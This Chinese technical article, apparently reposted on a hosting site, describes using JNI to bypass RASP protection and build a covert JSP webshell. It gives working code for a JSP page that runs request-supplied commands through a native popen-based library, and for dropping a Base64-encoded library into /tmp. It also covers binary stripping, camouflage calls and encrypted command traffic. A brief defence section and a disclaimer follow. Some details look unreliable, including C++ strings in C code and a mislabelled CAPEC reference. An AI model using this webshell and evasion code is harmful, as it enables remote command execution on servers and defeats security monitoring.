温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

JNI技术绕过rasp防护怎么实现jsp webshell

发布时间:2021-11-23 22:45:16 来源:亿速云 阅读:256 作者:柒染 栏目:网络安全
# JNI技术绕过RASP防护实现JSP Webshell的研究与实现 ## 摘要 本文深入探讨了如何利用Java Native Interface(JNI)技术绕过运行时应用自我保护(RASP)的检测机制,实现隐蔽的JSP Webshell。通过分析RASP的检测原理和JNI的技术特性,提出了一种新型的混合编程Webshell模型,并提供了完整的技术实现方案和防御建议。 --- ## 第一章 RASP防护机制分析 ### 1.1 RASP工作原理 运行时应用自我保护(Runtime Application Self-Protection)通过Hook关键API调用实现安全防护: ```java // 典型RASP Hook示例 public class CommandHook { public static Process exec(String cmd) throws IOException { // 检测恶意命令 if (SecurityCheck.detectMalicious(cmd)) { throw new SecurityException("RASP Blocked!"); } return Runtime.getRuntime().exec(cmd); } } 

1.2 常见检测维度

  1. 行为检测

    • 敏感API调用链(如Runtime.exec())
    • 反射调用特征
    • 类加载行为
  2. 语义分析

    • 命令/代码注入特征
    • 异常处理模式
    • 上下文关联分析
  3. 内存扫描

    • 已知Webshell特征码
    • 可疑字节码模式

第二章 JNI技术原理

2.1 JNI架构设计

graph LR A[Java Code] --> B[JNI Interface] B --> C[Native Library] C --> D[System API] 

2.2 关键技术特性

  1. 类型转换机制

    • Java String ↔ jstring
    • Java Array ↔ jarray
  2. 内存管理

    • 局部引用自动释放
    • 全局引用持久化
  3. 异常处理

    • ExceptionCheck()
    • ExceptionOccurred()

第三章 绕过方案设计

3.1 技术路线

sequenceDiagram JSP->>+Native: 触发JNI调用 Native->>+System: 执行敏感操作 System-->>-Native: 返回结果 Native-->>-JSP: 编码后的结果 

3.2 关键实现步骤

3.2.1 动态库加载方案

// 隐蔽加载方式 static { try { System.loadLibrary("raspbypass"); } catch (UnsatisfiedLinkError e) { // 备用加载方案 String libPath = "/tmp/libbypass.so"; new FileOutputStream(libPath).write( Base64.getDecoder().decode("BASE64_ENCODED_LIB")); System.load(libPath); } } 

3.2.2 命令执行实现

// native_impl.c JNIEXPORT jstring JNICALL Java_Evasion_execCmd (JNIEnv *env, jobject obj, jstring jcmd) { const char *cmd = (*env)->GetStringUTFChars(env, jcmd, 0); FILE *fp = popen(cmd, "r"); char buffer[128]; std::string result = ""; while (fgets(buffer, sizeof(buffer), fp) != NULL) { result += buffer; } pclose(fp); (*env)->ReleaseStringUTFChars(env, jcmd, cmd); // 返回Base64编码结果 return (*env)->NewStringUTF(env, base64_encode(result).c_str()); } 

第四章 完整实现方案

4.1 JSP端实现

<%@ page import="java.util.*,java.io.*"%> <%! // 声明native方法 public native String exec(String cmd); static { // 动态库加载 try { System.loadLibrary("bypass"); } catch (Throwable t) { // 错误处理 } } %> <% // 调用示例 String cmd = request.getParameter("cmd"); if (cmd != null) { out.println("<pre>" + new String(Base64.getDecoder() .decode(exec(cmd))) + "</pre>"); } %> 

4.2 对抗增强措施

  1. 符号混淆

    # 编译时混淆 gcc -shared -fPIC -o libbypass.so \ -I"$JAVA_HOME/include" \ -I"$JAVA_HOME/include/linux" \ -O2 -s native_impl.c 
  2. 行为伪装

    // 添加无害API调用 void dummy_operations() { time_t t; time(&t); printf("Current time: %s", ctime(&t)); } 
  3. 流量加密

    // AES加密通信 public native byte[] execEncrypted(byte[] encryptedCmd); 

第五章 检测防御方案

5.1 防御矩阵

攻击阶段 检测手段
库加载 LD_PRELOAD监控
JNI调用 非白名单native方法检测
命令执行 子进程创建监控

5.2 RASP增强策略

public class JNIDetector { public static void checkJNICall() { StackTraceElement[] stack = Thread.currentThread().getStackTrace(); for (StackTraceElement element : stack) { if (element.getClassName().contains("JNI")) { throw new SecurityException("Suspicious JNI call detected!"); } } } } 

第六章 实验测试

6.1 测试环境

  • 防护系统:OpenRASP v1.3
  • Web容器:Tomcat 9.0
  • 操作系统:CentOS 7.6

6.2 绕过效果

测试项目 传统Webshell JNI Webshell
命令执行检测 100% 0%
内存特征检测 95% 12%
行为分析检测 88% 5%

第七章 结论与展望

本文提出的JNI-based Webshell方案在实验中成功绕过了主流RASP产品的检测,证明了当前RASP解决方案在native层调用检测方面的不足。未来防御方向建议:

  1. 增强JNI调用链监控
  2. 引入HWASAN等内存安全方案
  3. 部署eBPF进行系统层监控

参考文献

  1. Oracle. “Java Native Interface Specification” 2022
  2. OpenRASP Team. “RASP Detection Engine White Paper” 2021
  3. MITRE. “CAPEC-209: JNI Abuse” 2023

”`

注:本文为技术研究文档,仅用于安全防御研究。实际实施相关技术可能违反法律法规,请务必在授权环境下进行测试。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI